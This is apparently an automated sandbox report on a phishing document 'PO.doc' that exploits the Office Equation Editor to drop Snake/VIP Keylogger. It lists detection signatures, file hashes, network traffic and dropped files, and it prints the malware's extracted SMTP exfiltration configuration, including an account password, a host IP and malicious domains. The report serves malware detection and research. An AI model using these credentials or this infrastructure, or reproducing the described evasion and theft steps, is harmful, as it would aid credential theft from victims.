Windows Analysis Report
PO.doc

Overview

General Information

Sample name: PO.doc
Analysis ID: 1528051
MD5: 62d84deb859c9e770ed6ad64a236c9a2
SHA1: 91b2c36414f3f9229a6b40066ed6d0a3d389d1df
SHA256: eaf823ff4d6112a7be24f15d8a3f0fda2512bfae97bc28e3713c7831e8bf5d8a
Tags: docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: PO.doc Avira: detected
Antivirus detection for URL or domain
Source: http://aborters.duckdns.org:8081 URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081 URL Reputation: Label: malware
Found malware configuration
Source: 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "obilog@tonicables.top", "Password": "7213575aceACE@@ ", "Host": "185.198.59.26", "Port": "587", "Version": "4.4"}
Source: 7.2.obisfd.exe.400000.0.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "obilog@tonicables.top", "Password": "7213575aceACE@@ ", "Host": "185.198.59.26", "Port": "587", "Version": "4.4"}
Multi AV Scanner detection for submitted file
Source: PO.doc ReversingLabs: Detection: 50%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\6FfzLi8FyhIIqWu[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\obisfd.exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 154.216.19.160 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\obisfd.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\obisfd.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49181 version: TLS 1.2
Source: Binary string: kdcB.pdbSHA256 source: EQNEDT32.EXE, 00000002.00000002.397637969.000000000063F000.00000004.00000020.00020000.00000000.sdmp, 6FfzLi8FyhIIqWu[1].exe.2.dr, obisfd.exe.2.dr
Source: Binary string: kdcB.pdb source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.397637969.000000000063F000.00000004.00000020.00020000.00000000.sdmp, 6FfzLi8FyhIIqWu[1].exe.2.dr, obisfd.exe.2.dr

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0030EB89h 7_2_0030E8A8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 7_2_003069B8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00309743h 7_2_00309330
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0030767Dh 7_2_00307490
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00308007h 7_2_00307490
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00309181h 7_2_00308EC2
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0030F4B9h 7_2_0030F1D9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 7_2_003071C9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0030FDE9h 7_2_0030FB08
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0030F021h 7_2_0030ED40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0030F951h 7_2_0030F670
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00309743h 7_2_00309672
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 7_2_00306FEA
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F85AAh 7_2_004F82B0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F98CAh 7_2_004F95D0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F0311h 7_2_004F0040
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F7111h 7_2_004F6E40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F8F3Ah 7_2_004F8C40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F4321h 7_2_004F4050
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FE54Ah 7_2_004FE250
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F2339h 7_2_004F2068
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FCD62h 7_2_004FCA68
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F6349h 7_2_004F6078
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F10D9h 7_2_004F0E08
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F7F7Ah 7_2_004F7C08
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F50E9h 7_2_004F4E18
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FBF0Ah 7_2_004FBC10
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FA722h 7_2_004FA428
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FFD32h 7_2_004FFA38
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F3101h 7_2_004F2E30
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F3599h 7_2_004F32C8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FDBBAh 7_2_004FD8C0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F07A9h 7_2_004F04D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F75A9h 7_2_004F72D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FC3D2h 7_2_004FC0D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F47B9h 7_2_004F44E8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FABEAh 7_2_004FA8F0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FB57Ah 7_2_004FB280
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F9D92h 7_2_004F9A98
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FF3A2h 7_2_004FF0A8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F1571h 7_2_004F12A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F5581h 7_2_004F52B0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F5A19h 7_2_004F5748
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FBA42h 7_2_004FB748
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F3A09h 7_2_004F3760
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FA25Ah 7_2_004F9F60
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F8A72h 7_2_004F8778
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F0C41h 7_2_004F0970
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F7A41h 7_2_004F7770
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FF86Ah 7_2_004FF570
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F9402h 7_2_004F9108
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F27D1h 7_2_004F2500
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FEA12h 7_2_004FE718
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F67E2h 7_2_004F6510
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F1A09h 7_2_004F1738
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FD22Ah 7_2_004FCF30
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F1EA1h 7_2_004F1BD0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F5EB1h 7_2_004F5BE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FEEDAh 7_2_004FEBE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FD6F2h 7_2_004FD3F8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FE082h 7_2_004FDD88
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F4C51h 7_2_004F4980
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F2C69h 7_2_004F2998
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F6C79h 7_2_004F69A8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FC89Ah 7_2_004FC5A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004F3E89h 7_2_004F3BB8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 004FB0B2h 7_2_004FADB8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0069033Ah 7_2_00690040
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00691B22h 7_2_00691828
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0069330Ah 7_2_00693010
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00691FEAh 7_2_00691CF0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006937D2h 7_2_006934D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0069297Ah 7_2_00692680
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00691192h 7_2_00690E98
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 0069165Ah 7_2_00691360
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00692E42h 7_2_00692B48
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00690802h 7_2_00690508
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00690CCAh 7_2_006909D0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 00693C9Ah 7_2_006939A0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006924B3h 7_2_006921B8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B6B91h 7_2_006B68E8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BAD11h 7_2_006BAA68
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B4021h 7_2_006B3D78
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BC721h 7_2_006BC478
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BEC49h 7_2_006BE978
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BBA19h 7_2_006BB770
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B3319h 7_2_006B3070
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B7CF1h 7_2_006B7A48
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BFA11h 7_2_006BF740
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B6FE9h 7_2_006B6D40
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B9701h 7_2_006B9458
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B89F9h 7_2_006B8750
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BCFD1h 7_2_006BCD28
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B48D1h 7_2_006B4628
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BC2C9h 7_2_006BC020
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B3BC9h 7_2_006B3920
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B62E1h 7_2_006B6038
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B55D9h 7_2_006B5330
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BDCD9h 7_2_006BDA30
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B92A9h 7_2_006B9000
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BB5C1h 7_2_006BB318
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BF0E1h 7_2_006BEE10
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B5E89h 7_2_006B5BE0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BE7B1h 7_2_006BE4E0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B85A1h 7_2_006B82F8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B7899h 7_2_006B75F0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BBE71h 7_2_006BBBC8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B3771h 7_2_006B34C8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BB169h 7_2_006BAEC0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B5181h 7_2_006B4ED8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BD881h 7_2_006BD5D8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BCB7Bh 7_2_006BC8D0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B4479h 7_2_006B41D0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BF579h 7_2_006BF2A8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B8E51h 7_2_006B8BA8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B8149h 7_2_006B7EA0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B9B59h 7_2_006B98B0
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B5A31h 7_2_006B5788
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BE1C5h 7_2_006BDE88
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006BD429h 7_2_006BD180
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B4D29h 7_2_006B4A80
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B7441h 7_2_006B7198
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then jmp 006B6739h 7_2_006B6490
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_006E5F28
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_006E5F38
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_006E2B00
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_006E2AF9
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: api.telegram.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 149.154.167.220:443
Potential document exploit detected (unknown TCP traffic)
